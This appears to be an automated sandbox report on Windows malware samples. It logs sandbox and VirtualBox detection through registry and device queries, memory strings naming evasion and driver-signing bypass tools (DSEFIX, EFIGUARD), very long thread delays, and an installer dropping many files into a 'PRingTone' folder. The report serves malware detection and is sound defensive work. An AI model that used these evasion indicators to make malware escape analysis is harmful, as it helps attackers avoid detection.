Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\testapp.eXE	Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\8FEE.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: C1FD.exe, 00000011.00000002.2213490486.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000003.2160333190.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: RTP.EXESYSTEMROOT=SETFILETIMESIGNWRITINGSOFT_DOTTEDSYSTEMDRIVETTL EXPIREDUNINSTALLERVBOXSERVICEVMUSRVC.EXEVARIANTINITVIRTUALFREEVIRTUALLOCKWSARECVFROMWARANG_CITIWHITE_SPACEWINDEFENDER[:^XDIGIT:]\DSEFIX.EXEADDITIONALSALARM CLOCKAPPLICATIONASSISTQUEUEAUTHORITIESBAD ADDRESSBAD ARGSIZEBAD M VALUEBAD MESSAGEBAD TIMEDIVBITCOINS.SKBROKEN PIPECAMPAIGN_IDCGOCALL NILCLOBBERFREECLOSESOCKETCOMBASE.DLLCREATED BY CRYPT32.DLLE2.KEFF.ORGEMBEDDED/%SEXTERNAL IPFILE EXISTSFINAL TOKENFLOAT32NAN2FLOAT64NAN1FLOAT64NAN2FLOAT64NAN3GCCHECKMARKGENERALIZEDGET CDN: %WGETPEERNAMEGETSOCKNAMEGLOBALALLOCHTTP2CLIENTHTTP2SERVERHTTPS_PROXYI/O TIMEOUTLOCAL ERRORMSPANMANUALMETHODARGS(MINTRIGGER=MOVE %S: %WMSWSOCK.DLLNETPOLLINITNEXT SERVERNIL CONTEXTOPERA-PROXYORANNIS.COMOUT OF SYNCPARSE ERRORPROCESS: %SREFLECT.SETREFLECTOFFSRETRY-AFTERRUNTIME: P RUNTIME: G RUNTIME: P SCHEDDETAILSECHOST.DLLSECUR32.DLLSERVICE: %SSHELL32.DLLSHORT WRITESTACK TRACESTART PROXYTASKMGR.EXETLS: ALERT(TRACEALLOC(TRAFFIC UPDUNREACHABLEUSERENV.DLLVERSION.DLLVERSION=195WININET.DLLWUP_PROCESS (SENSITIVE) B (
Source: NBHEkIKDCr.exe	Binary or memory string: ASWHOOK
Source: faischf, 00000003.00000002.1944379689.00000000009DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOKY
Source: C1FD.exe, 00000011.00000002.2213490486.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000003.2160333190.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: TOO MANY LINKSTOO MANY USERSTORRC FILENAMEUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERUSERARENASTATEVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WINDOW CREATEDWORK.FULL != 0XENSERVICE.EXEZERO PARAMETER WITH GC PROG
Source: C1FD.exe, 00000011.00000002.2213490486.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000003.2160333190.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ... OMITTING ACCEPT-CHARSETAFTER EFIGUARDALLOCFREETRACEBAD ALLOCCOUNTBAD RECORD MACBAD RESTART PCBAD SPAN STATEBTC.USEBSV.COMCERT INSTALLEDCHECKSUM ERRORCONTENT-LENGTHCOULDN'T PATCHDATA TRUNCATEDDISTRIBUTOR_IDDRIVER REMOVEDERROR RESPONSEFILE TOO LARGEFINALIZER WAITGCSTOPTHEWORLDGET UPTIME: %WGETPROTOBYNAMEGOT SYSTEM PIDINITIAL SERVERINTERNAL ERRORINVALID SYNTAXIS A DIRECTORYKEY SIZE WRONGLEVEL 2 HALTEDLEVEL 3 HALTEDMEMPROFILERATEMULTIPARTFILESNEED MORE DATANIL ELEM TYPE!NO MODULE DATANO SUCH DEVICEOPEN EVENT: %WPARSE CERT: %WPROTOCOL ERRORREAD CERTS: %WREAD_FRAME_EOFREFLECT.VALUE.REMOVE APP: %WRUNTIME: FULL=RUNTIME: WANT=S.ALLOCCOUNT= SEMAROOT QUEUESERVER.VERSIONSTACK OVERFLOWSTART TASK: %WSTOPM SPINNINGSTORE64 FAILEDSYNC.COND.WAITTEXT FILE BUSYTIME.LOCATION(TIMEENDPERIODTOO MANY LINKSTOO MANY USERSTORRC FILENAMEUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERUSERARENASTATEVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WINDOW CREATEDWORK.FULL != 0XENSERVICE.EXEZERO PARAMETER WITH GC PROG

Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	File opened / queried: VBoxGuest
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	File opened / queried: VBoxTrayIPC
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	File opened / queried: \pipe\VBoxTrayIPC
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	File opened / queried: VBoxMiniRdrDN
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 387	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 647	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 748	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 779	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 666	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 669	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Window / User API: threadDelayed 9722	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Window / User API: threadDelayed 4810	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Window / User API: threadDelayed 4890	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Window / User API: threadDelayed 9868
Source: C:\ProgramData\Drivers\csrss.exe	Window / User API: threadDelayed 8551
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5851
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2640
Source: C:\Program Files (x86)\PRingTone\PRingTone.exe	Window / User API: threadDelayed 4443
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6978
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1672

Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\d_writer.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\ff_helper.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-MC07M.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-2S493.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-2O9C4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-I8NI2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-3IMHN.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-4ABIC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-TTVKI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\gain_analysis.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\bass_ofr.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\da.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-F9EQ0.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\dsd2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\rg_ebur128.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-R69AB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\bassmidi.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-2S493.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-K04LL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\bassdsd.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-I0QQT.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-U7E66.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-7BFJI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\takdec.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-9I96E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-C88M7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-B6G1A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-72EEK.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\bass_tta.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\basscd.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\bassopus.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\libsoxr.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-FM16A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-H37D9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-PLOP5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\uchardet.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\plugins\internal\is-91Q5O.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-N8411.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-V7V6O.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\bass.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-IMAIO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-M9FK5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-FU8V9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\libwebp.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\daiso.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-UQIIU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-VBAIR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\plugins\internal\is-U5C20.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\libFLAC_dynamic.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\libdtsdec.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-H0BA3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-TQ7HB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-3UH5L.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\bassflac.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\dsd2pcmt.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\plugins\internal\raw_decode_plugin_c.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-NFO0I.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\libwinpthread-1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\OptimFROG.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-6F22E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\bassalac.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\libmp4v2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-H0LN9.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-SK5Q6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\bass_aac.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-7HTFR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\utils.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-CNQNP.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-K35B7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-E9JM7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\mp3gain.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\opusenc.exe (copy)	Jump to dropped file
